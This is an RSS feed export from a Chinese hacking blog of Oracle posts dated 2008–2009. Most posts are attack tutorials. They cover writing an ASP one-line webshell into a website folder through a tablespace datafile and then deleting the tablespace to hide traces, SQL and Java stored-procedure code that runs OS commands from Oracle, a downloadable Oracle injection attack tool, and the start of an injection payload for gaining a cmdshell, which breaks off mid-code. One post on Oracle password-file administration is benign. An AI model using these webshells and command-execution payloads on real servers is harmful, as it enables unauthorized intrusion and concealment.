<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; Oracle</title>
	<atom:link href="http://www.4shell.org/archives/tag/oracle/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>getwebshell for oracle</title>
		<link>http://www.4shell.org/archives/1137.html</link>
		<comments>http://www.4shell.org/archives/1137.html#comments</comments>
		<pubDate>Wed, 07 Oct 2009 09:58:22 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[WebShell]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1137.html</guid>
		<description><![CDATA[by 清雅风萍 SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ; 复制代码 这样就创建了Table 空间。 这里需要注意的是oracle的Table，最小单位是100K。 下面开始建表: SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace tian6; 复制代码 这样表就建好了。 表的类型一般都是VARCHAR，因为table的空间很小，所以不能用CLOB 或者 BLOB 类型。 SQL> insert into WEBSHELL values('< %execute request("tian6")%>'); 复制代码 写数据了。 SQL> commit; 复制代码 提交完毕。 提交完毕后会提示 OK? NO? 你要是点NO的话。。。 因为这个时候你的这些编辑都是属于离线编辑，需要同步后才能生效，所以还是点OK吧，你说呢？ SQL> alter tablespace tian6 offline; 复制代码 OK，到这一步为止你已经写进了WEBSHELL。 [...]]]></description>
			<content:encoded><![CDATA[<p>by 清雅风萍</p>
<p>SQL> create tablespace kjtest datafile 'e:\website\kj.asp'<br />
size 100k nologging ;<br />
复制代码<br />
这样就创建了Table 空间。</p>
<p>这里需要注意的是oracle的Table，最小单位是100K。</p>
<p>下面开始建表:</p>
<p>SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace tian6;<br />
复制代码<br />
这样表就建好了。</p>
<p>表的类型一般都是VARCHAR，因为table的空间很小，所以不能用CLOB 或者 BLOB<br />
类型。</p>
<p>SQL> insert into WEBSHELL values('< %execute request("tian6")%>');<br />
复制代码<br />
写数据了。<br />
<span id="more-1137"></span><br />
SQL> commit;<br />
复制代码<br />
提交完毕。</p>
<p>提交完毕后会提示 OK? NO? 你要是点NO的话。。。</p>
<p>因为这个时候你的这些编辑都是属于离线编辑，需要同步后才能生效，所以还是点OK吧，你说呢？</p>
<p>SQL> alter tablespace tian6 offline;<br />
复制代码<br />
OK，到这一步为止你已经写进了WEBSHELL。</p>
<p>别忘记擦PP</p>
<p>SQL> drop tablespace kjtest including contents;<br />
复制代码<br />
以上的所有步骤必须建立在你知道网页路径的前提下哦 ：）</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年12月8日 -- <a href="http://www.4shell.org/archives/1320.html" title="Webshell扫描器">Webshell扫描器</a></li><li>2009年04月10日 -- <a href="http://www.4shell.org/archives/767.html" title="oracle执行cmd">oracle执行cmd</a></li><li>2009年03月1日 -- <a href="http://www.4shell.org/archives/746.html" title="隐藏并修改文件的最后修改时间的asp-webshell">隐藏并修改文件的最后修改时间的asp-webshell</a></li><li>2008年12月13日 -- <a href="http://www.4shell.org/archives/704.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/606.html" title="Oracle密码文件使用与维护技巧">Oracle密码文件使用与维护技巧</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/594.html" title="艰难的在webshell中执行程序">艰难的在webshell中执行程序</a></li><li>2008年10月19日 -- <a href="http://www.4shell.org/archives/446.html" title="Linx Oracle 自动攻击器">Linx Oracle 自动攻击器</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li><li>2008年10月12日 -- <a href="http://www.4shell.org/archives/382.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/348.html" title="InsomniaShell">InsomniaShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1137.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>oracle执行cmd</title>
		<link>http://www.4shell.org/archives/767.html</link>
		<comments>http://www.4shell.org/archives/767.html#comments</comments>
		<pubDate>Fri, 10 Apr 2009 09:48:49 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/767.html</guid>
		<description><![CDATA[作者：lcx<br/><br/>装了一个oracle db11g，于是想试一下网上流传的在sqlplus中执行cmd的一些命令，也不知怎么的，没一个好用的，可能是网上转来转去的转错了．不过有一个简单的执行cmd命令方法：<br/><br/>[CODE_LITE]    <br/>SQL> host net user<br/><br/>    User accounts for \\PC-ATQHJ4UG1SDA<br/><br/>    ----------------------------------------------------------------------------<br/>...
]]></description>
			<content:encoded><![CDATA[<p>作者：lcx<br/><br/>装了一个oracle db11g，于是想试一下网上流传的在sqlplus中执行cmd的一些命令，也不知怎么的，没一个好用的，可能是网上转来转去的转错了．不过有一个简单的执行cmd命令方法：<br/><br/>
<p class="code"><code>&nbsp;&nbsp;&nbsp;&nbsp;<br/>SQL&gt;&nbsp;host&nbsp;net&nbsp;user<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;User&nbsp;accounts&nbsp;for&nbsp;\\PC-ATQHJ4UG1SDA<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------------------------<br/>&nbsp;&nbsp;&nbsp;&nbsp;__vmware_user__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Administrator<br/>&nbsp;&nbsp;&nbsp;&nbsp;ASPNET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Guest&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IUSR_PC-ATQHJ4UG1SDA<br/>&nbsp;&nbsp;&nbsp;&nbsp;IWAM_PC-ATQHJ4UG1SDA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUPPORT_388945a0<br/>&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;command&nbsp;completed&nbsp;successfully.<br/></code></p>
<p>unix或linux下用<br/><br/>! command<br/><br/>======================补充======================<br/><br/>网上的另两种方法：<br/><br/>１是利用msvcrt.dll<br/><br/>写一个c:\orac.sql<br/><br/>内容：<br/><br/>
<p class="code"><code>Rem<br/>Rem&nbsp;oracmd.sql<br/>Rem<br/>Rem&nbsp;Run&nbsp;system&nbsp;commands&nbsp;via&nbsp;Oracle&nbsp;database&nbsp;servers<br/>Rem<br/>Rem&nbsp;Bugs&nbsp;to&nbsp;david@ngssoftware.com<br/>Rem<br/>CREATE&nbsp;OR&nbsp;REPLACE&nbsp;LIBRARY&nbsp;exec_shell&nbsp;AS<br/>'C:\windows\system32\msvcrt.dll';<br/>/<br/>show&nbsp;errors<br/>CREATE&nbsp;OR&nbsp;REPLACE&nbsp;PACKAGE&nbsp;oracmd&nbsp;IS<br/>PROCEDURE&nbsp;exec&nbsp;(cmdstring&nbsp;IN&nbsp;CHAR);<br/>end&nbsp;oracmd;<br/>/<br/>show&nbsp;errors<br/>CREATE&nbsp;OR&nbsp;REPLACE&nbsp;PACKAGE&nbsp;BODY&nbsp;oracmd&nbsp;IS<br/>PROCEDURE&nbsp;exec(cmdstring&nbsp;IN&nbsp;CHAR)<br/>IS&nbsp;EXTERNAL<br/>NAME&nbsp;"system"&nbsp;LIBRARY&nbsp;exec_shell<br/>LANGUAGE&nbsp;C;<br/>end&nbsp;oracmd;<br/>/<br/>show&nbsp;errors<br/></code></p>
<p>然后<br/><br/>
<p class="code"><code>C:\&gt;sqlplus&nbsp;/nolog<br/>SQL*Plus:&nbsp;Release&nbsp;8.1.7.0.0&nbsp;-&nbsp;Production&nbsp;on&nbsp;Thu&nbsp;Jun&nbsp;7&nbsp;14:25:38&nbsp;2001<br/>(c)&nbsp;Copyright&nbsp;2000&nbsp;Oracle&nbsp;Corporation.&nbsp;All&nbsp;rights&nbsp;reserved.<br/>SQL&gt;&nbsp;connect&nbsp;system/manager@orcl&nbsp;(分别是用户名密码和sid)<br/>Connected.<br/>SQL&gt;&nbsp;@c:\orac.sql<br/>Library&nbsp;created.<br/>No&nbsp;errors.<br/>Package&nbsp;created.<br/>No&nbsp;errors.<br/>Package&nbsp;body&nbsp;created.<br/>No&nbsp;errors.<br/>SQL&gt;<br/>SQL&gt;&nbsp;exec&nbsp;oracmd.exec&nbsp;('dir&nbsp;&gt;&nbsp;c:\oracle.txt');<br/></code></p>
<p><br/>结果在我本机出现<br/><br/>
<p class="code"><code>第&nbsp;1&nbsp;行出现错误:<br/>ORA-28595:&nbsp;Extproc&nbsp;代理:&nbsp;DLL&nbsp;路径无效<br/>ORA-06512:&nbsp;在&nbsp;"SYSTEM.ORACMD",&nbsp;line&nbsp;2<br/>ORA-06512:&nbsp;在&nbsp;line&nbsp;1<br/></code></p>
<p>没有成功。<br/><br/>第二种方法<br/><br/>c:\1.sql<br/><br/>
<p class="code"><code>create&nbsp;or&nbsp;replace&nbsp;and&nbsp;compile<br/>java&nbsp;souRCe&nbsp;named&nbsp;"util"<br/>as<br/>import&nbsp;java.io.*;<br/>import&nbsp;java.lang.*;<br/>public&nbsp;class&nbsp;util&nbsp;extends&nbsp;Object<br/>{<br/>public&nbsp;static&nbsp;int&nbsp;RunThis(String&nbsp;args)<br/>{<br/>Runtime&nbsp;rt&nbsp;=&nbsp;Runtime.getRuntime();<br/>int&nbsp;RC&nbsp;=&nbsp;-1;<br/>try<br/>{<br/>Process&nbsp;p&nbsp;=&nbsp;rt.exec(args);<br/>int&nbsp;bufSize&nbsp;=&nbsp;4096;<br/>BufferedInputStream&nbsp;bis&nbsp;=new&nbsp;BufferedInputStream(p.getInputStream(),&nbsp;bufSize);<br/>int&nbsp;len;<br/>byte&nbsp;buffer[]&nbsp;=&nbsp;new&nbsp;byte[bufSize];<br/>//&nbsp;Echo&nbsp;back&nbsp;what&nbsp;the&nbsp;program&nbsp;spit&nbsp;out<br/>while&nbsp;((len&nbsp;=&nbsp;bis.read(buffer,&nbsp;0,&nbsp;bufSize))&nbsp;!=&nbsp;-1)<br/>System.out.write(buffer,&nbsp;0,&nbsp;len);<br/>RC&nbsp;=&nbsp;p.waitFor();<br/>}<br/>catch&nbsp;(Exception&nbsp;e)<br/>{<br/>e.printStackTrace();<br/>RC&nbsp;=&nbsp;-1;<br/>}<br/>finally<br/>{<br/>return&nbsp;RC;<br/>}<br/>}<br/>}<br/></code></p>
<p><br/>c:\2.sql<br/><br/>
<p class="code"><code>create&nbsp;or&nbsp;replace<br/>function&nbsp;RUN_CMz(p_cmd&nbsp;in&nbsp;varchar2)&nbsp;return&nbsp;number<br/>as<br/>language&nbsp;java<br/>name&nbsp;'util.RunThis(java.lang.String)&nbsp;return&nbsp;integer';<br/></code></p>
<p><br/>c:\3.sql<br/><br/>
<p class="code"><code>create&nbsp;or&nbsp;replace&nbsp;procedure&nbsp;RC(p_cmd&nbsp;in&nbsp;varChar)<br/>as<br/>x&nbsp;number;<br/>begin<br/>x&nbsp;:=&nbsp;RUN_CMz(p_cmd);<br/>end;<br/></code></p>
<p>登陆上去后依旧是依次执行<br/><br/>SQL> @c:\1.sql<br/>/<br/><br/>@c:\2.sql<br/><br/>/<br/><br/>@c:\3.sql<br/><br/>/<br/><br/>variable x number;<br/><br/>set serveroutput on；<br/><br/>exec dbms_java.set_output(100000);<br/><br/>grant javasyspriv to system；<br/><br/>grant javauserpriv to system;（网上的方法没有这一行，我无法成功，加上去可以）<br/><br/>exec :x:=run_cmz('ipconfig'); 成功运行了命令<br/><br/>测试环境win2003+oracle11g</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2008年12月13日 -- <a href="http://www.4shell.org/archives/704.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/606.html" title="Oracle密码文件使用与维护技巧">Oracle密码文件使用与维护技巧</a></li><li>2008年10月19日 -- <a href="http://www.4shell.org/archives/446.html" title="Linx Oracle 自动攻击器">Linx Oracle 自动攻击器</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li><li>2008年10月12日 -- <a href="http://www.4shell.org/archives/382.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/767.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORACLE 建立数据文件WriteWebShell</title>
		<link>http://www.4shell.org/archives/704.html</link>
		<comments>http://www.4shell.org/archives/704.html#comments</comments>
		<pubDate>Sat, 13 Dec 2008 13:16:48 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/704.html</guid>
		<description><![CDATA[其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法<br/><br/>SQLJ    存储过程写文件也可以，逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了？<br/><br/>那 也可以 使用以下我说的这个方式<br/><br/> <br/><br/>SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;
]]></description>
			<content:encoded><![CDATA[<p>其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法<br/><br/>SQLJ    存储过程写文件也可以，逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了？<br/><br/>那 也可以 使用以下我说的这个方式<br/><br/> <br/><br/>SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;<br/><br/>表空间已创建。<br/><br/> <br/><br/>这里记住了 100K为ORACLE 表空间最小的单位，如果你的一句话SHELL比较大 那可以200K比较稳妥<br/><br/>但是最终建议一句话一定要最最简洁<br/><br/> <br/><br/>SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;<br/><br/>表已创建。<br/><br/> <br/><br/>一般用 VARCHAR类型已经可以 ，表空间太小了 ，所以不可以 为 CLOB或者 BLOB类型。<br/><br/> <br/><br/>SQL> insert into WEBSHELL values('<%execute request("kj021320")%>');<br/><br/>已创建 1 行。<br/><br/>SQL> commit;<br/><br/>提交完成。<br/><br/> <br/><br/>提交完成之后就 OK？ NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间<br/><br/> <br/><br/>SQL> alter tablespace kjtest offline;<br/><br/>表空间已更改。<br/><br/> <br/><br/>到这里 你的 一句话SHELL代码已经 写到 那个文件了<br/><br/>你会发现有这样的 <%execute request("kj021320")%> Z Z   的 代码<br/><br/>一句话shell已经OK了<br/><br/>最后使用后记得吧 表空间删除<br/><br/> <br/><br/>SQL> drop tablespace kjtest including contents;<br/><br/>表空间已删除。<br/><br/>当然这个方法缺点就是你要知道WEB路径</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2009年04月10日 -- <a href="http://www.4shell.org/archives/767.html" title="oracle执行cmd">oracle执行cmd</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/606.html" title="Oracle密码文件使用与维护技巧">Oracle密码文件使用与维护技巧</a></li><li>2008年10月19日 -- <a href="http://www.4shell.org/archives/446.html" title="Linx Oracle 自动攻击器">Linx Oracle 自动攻击器</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li><li>2008年10月12日 -- <a href="http://www.4shell.org/archives/382.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/704.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle密码文件使用与维护技巧</title>
		<link>http://www.4shell.org/archives/606.html</link>
		<comments>http://www.4shell.org/archives/606.html#comments</comments>
		<pubDate>Fri, 14 Nov 2008 11:09:46 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/606.html</guid>
		<description><![CDATA[来源：ctocio<br/>在Oracle数据库系统中，用户如果要以特权用户身份(INTERNAL/SYSDBA/SYSOPER)登录Oracle 数据库可以有两种身份验证的方法：即使用与操作系统集成的身份验证或使用Oracle数据库的密码文件进行身份验证。因此，管理好密码文件，对于控制授权用户从远端或本机登录Oracle数据库系统，执行数据库管理工作，具有重要的意义。<br/>　　Oracle数据库的密码文件存放有超级用户INTERNAL/SYS的口令及其他特权用户的用户名/口令，它一般存放在ORACLE_HOME\DATABASE目录下。<br/>...
]]></description>
			<content:encoded><![CDATA[<p>来源：ctocio<br/>在Oracle数据库系统中，用户如果要以特权用户身份(INTERNAL/SYSDBA/SYSOPER)登录Oracle 数据库可以有两种身份验证的方法：即使用与操作系统集成的身份验证或使用Oracle数据库的密码文件进行身份验证。因此，管理好密码文件，对于控制授权用户从远端或本机登录Oracle数据库系统，执行数据库管理工作，具有重要的意义。<br/>　　Oracle数据库的密码文件存放有超级用户INTERNAL/SYS的口令及其他特权用户的用户名/口令，它一般存放在ORACLE_HOME\DATABASE目录下。<br/><br/>一、密码文件的创建<br/><br/>　　在使用Oracle Instance Manager创建一数据库实例的时侯，在ORACLE_HOME\DATABASE目录下还自动创建了一个与之对应的密码文件，文件名为 PWDSID.ORA，其中SID代表相应的Oracle数据库系统标识符。此密码文件是进行初始数据库管理工作的基矗在此之后，管理员也可以根据需要，使用工具ORAPWD.EXE手工创建密码文件，命令格式如下：<br/>
<p class="code"><code>C:\&nbsp;&gt;ORAPWDFILE=&lt;&nbsp;FILENAME&nbsp;&gt;PASSWORD&nbsp;=&lt;&nbsp;PASSWORD&nbsp;&gt;&nbsp;ENTRIES=&lt;&nbsp;MAX_USERS&nbsp;&gt;<br/></code></p>
<p>各命令参数的含义为：<br/>　　FILENAME：密码文件名;<br/>　　PASSWORD：设置INTERNAL/SYS帐号的口令;<br/>　　MAX_USERS：密码文件中可以存放的最大用户数，对应于允许以SYSDBA/SYSOPER权限登录数据库的最大用户数。由于在以后的维护中，若用户数超出了此限制，则需要重建密码文件，所以此参数可以根据需要设置得大一些。<br/>　　有了密码文件之后，需要设置初始化参数REMOTE_LOGIN_PASSWORDFILE来控制密码文件的使用状态。<br/>　　<br/>二、设置初始化参数REMOTE_LOGIN_PASSWORDFILE　<br/><br/>　在Oracle数据库实例的初始化参数文件中，此参数控制着密码文件的使用及其状态。它可以有以下几个选项：<br/>　　NONE：指示Oracle系统不使用密码文件，特权用户的登录通过操作系统进行身份验证;<br/>　　EXCLUSIVE：指示只有一个数据库实例可以使用此密码文件。只有在此设置下的密码文件可以包含有除INTERNAL/SYS以外的用户信息，即允许将系统权限SYSOPER/SYSDBA授予除INTERNAL/SYS以外的其他用户。<br/>　　SHARED：指示可有多个数据库实例可以使用此密码文件。在此设置下只有INTERNAL/SYS帐号能被密码文件识别，即使文件中存有其他用户的信息，也不允许他们以SYSOPER/SYSDBA的权限登录。此设置为缺省值。<br/>　　在REMOTE_LOGIN_PASSWORDFILE参数设置为EXCLUSIVE、SHARED情况下，Oracle系统搜索密码文件的次序为：在系统注册库中查找ORA_SID_PWFILE参数值(它为密码文件的全路径名);若未找到，则查找ORA_PWFILE参数值;若仍未找到，则使用缺省值ORACLE_HOME\DATABASE\PWDSID.ORA;其中的SID代表相应的Oracle数据库系统标识符。<br/>　　<br/>三、向密码文件中增加、删除用户<br/><br/>　　当初始化参数REMOTE_LOGIN_PASSWORDFILE设置为EXCLUSIVE时，系统允许除INTERNAL/SYS以外的其他用户以管理员身份从远端或本机登录到Oracle数据库系统，执行数据库管理工作;这些用户名必须存在于密码文件中，系统才能识别他们。由于不管是在创建数据库实例时自动创建的密码文件，还是使用工具ORAPWD.EXE手工创建的密码文件，都只包含INTERNAL/SYS用户的信息;为此，在实际操作中，可能需要向密码文件添加或删除其他用户帐号。<br/>　　由于仅被授予SYSOPER/SYSDBA系统权限的用户才存在于密码文件中，所以当向某一用户授予或收回SYSOPER/SYSDBA系统权限时，他们的帐号也将相应地被加入到密码文件或从密码文件中删除。由此，向密码文件中增加或删除某一用户，实际上也就是对某一用户授予或收回SYSOPER/SYSDBA系统权限。<br/>　　要进行此项授权操作，需使用SYSDBA权限(或INTERNAL帐号)连入数据库，且初始化参数REMOTE_LOGIN_PASSWORDFILE的设置必须为EXCLUSIVE。具体操作步骤如下：<br/>      创建相应的密码文件;<br/>　　设置初始化参数REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE;<br/>　　使用SYSDBA权限登录： CONNECTSYS/internal_user_passswordASSYSDBA;<br/>　　启动数据库实例并打开数据库;<br/>　　创建相应用户帐号，对其授权(包括SYSOPER和SYSDBA)： 授予权限：GRANTSYSDBATOuser_name;<br/>　　收回权限：REVOKESYSDBAFROMuser_name;<br/>　　现在这些用户可以以管理员身份登录数据库系统了;<br/><br/>四、使用密码文件登录<br/><br/>　　有了密码文件后，用户就可以使用密码文件以SYSOPER/SYSDBA权限登录Oracle数据库实例了，注意初始化参数 REMOTE_LOGIN_PASSWORDFILE应设置为EXCLUSIVE或SHARED。任何用户以SYSOPER/SYSDBA的权限登录后，将位于SYS用户的Schema之下，以下为两个登录的例子：<br/>　　1. 以管理员身份登录：　　<br/>
<p class="code"><code>CONNECTscott/tigerASSYSDBA<br/></code></p>
<p>假设用户scott已被授予SYSDBA权限，则他可以使用以下命令登录：<br/>2. 以INTERNAL身份登录：<br/>
<p class="code"><code>CONNECTINTERNAL/INTERNAL_PASSWORD<br/></code></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2009年04月10日 -- <a href="http://www.4shell.org/archives/767.html" title="oracle执行cmd">oracle执行cmd</a></li><li>2008年12月13日 -- <a href="http://www.4shell.org/archives/704.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年10月19日 -- <a href="http://www.4shell.org/archives/446.html" title="Linx Oracle 自动攻击器">Linx Oracle 自动攻击器</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li><li>2008年10月12日 -- <a href="http://www.4shell.org/archives/382.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/606.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linx Oracle 自动攻击器</title>
		<link>http://www.4shell.org/archives/446.html</link>
		<comments>http://www.4shell.org/archives/446.html#comments</comments>
		<pubDate>Sun, 19 Oct 2008 09:07:14 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[资源共享]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/446.html</guid>
		<description><![CDATA[<p>来源：linx2008<br /><strong>* 利用条件：</strong> <br />1.oracle服务器可以读取当前php脚本<br />*2.要运行系统命令，请先在oralce服务器创建 sys.LinxRunCMD() 函数<a name="entrymore"></a><br /><br />提示：<br />要获得cookie，请运行 <br />&#160;</p><div class="code">javascript:document.cookie=window.prompt(&#34;Edit cookie:&#34;,document.cookie);void(0);</div>...
]]></description>
			<content:encoded><![CDATA[<p>来源：linx2008<br /><strong>* 利用条件：</strong> <br />1.oracle服务器可以读取当前php脚本<br />*2.要运行系统命令，请先在oralce服务器创建 sys.LinxRunCMD() 函数<a name="entrymore"></a></p>
<p>提示：<br />要获得cookie，请运行 <br />&nbsp;</p>
<div class="code">javascript:document.cookie=window.prompt(&quot;Edit cookie:&quot;,document.cookie);void(0);</div>
<p>* 注射方式：为必填内容，注射语句用&quot;(&lt;**&gt;)&quot;代替。<br /><strong>使用步骤：</strong></p>
<p>eg：如果你的注射地址是 <a href="http://host/test.jsp?action=read&amp;id=123" target="_blank">http://host/test.jsp?action=read&amp;id=123</a>，则<br />1.输入&quot;注射地址&quot;,<br />2.点击&quot;数值型&quot; or &quot;字符型型&quot;，此时自动生成 注射方式:<br />&nbsp;</p>
<div class="code">http://host/test.jsp?action=read&amp;id=123 and chr(1) not in (&lt;**&gt;)</div>
<p>3.如果你没有创建函数，请先点击&ldquo;创建函数&rdquo;<br />4.选择操作：运行命令 or读取文件 <br />5.输入命令，选择&quot;生成语句&quot;，再点击 运行语句<br />&nbsp;</p>
<p>下载地址：<a target="_blank" href="http://www.4shell.org/upload/200810191709293786.rar">点击下载</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2009年04月10日 -- <a href="http://www.4shell.org/archives/767.html" title="oracle执行cmd">oracle执行cmd</a></li><li>2008年12月13日 -- <a href="http://www.4shell.org/archives/704.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/606.html" title="Oracle密码文件使用与维护技巧">Oracle密码文件使用与维护技巧</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li><li>2008年10月12日 -- <a href="http://www.4shell.org/archives/382.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/446.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>犀利的 oracle 注入技术</title>
		<link>http://www.4shell.org/archives/440.html</link>
		<comments>http://www.4shell.org/archives/440.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 16:37:20 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/440.html</guid>
		<description><![CDATA[<p><strong>原文发表在黑客手册</strong><br />犀利的 oracle 注入技术</p><p>linx 2008.1.12</p><p>介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。</p><p>以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成</p><p>/xxx.jsp?id=1 and '1'&#60;&#62;'a'&#124;&#124;(select SYS.DBMS_EXPORT_EXTENSION.....)</p>...
]]></description>
			<content:encoded><![CDATA[<p><strong>原文发表在黑客手册</strong><br />犀利的 oracle 注入技术</p>
<p>linx 2008.1.12</p>
<p>介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。</p>
<p>以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)</p>
<p>的形式即可。(用&quot; 'a'|| &quot;是为了让语句返回true值)</p>
<p>语句有点长，可能要用post提交。</p>
<p>以下是各个步骤：</p>
<p>1.创建包<br />通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;'a'||(</p>
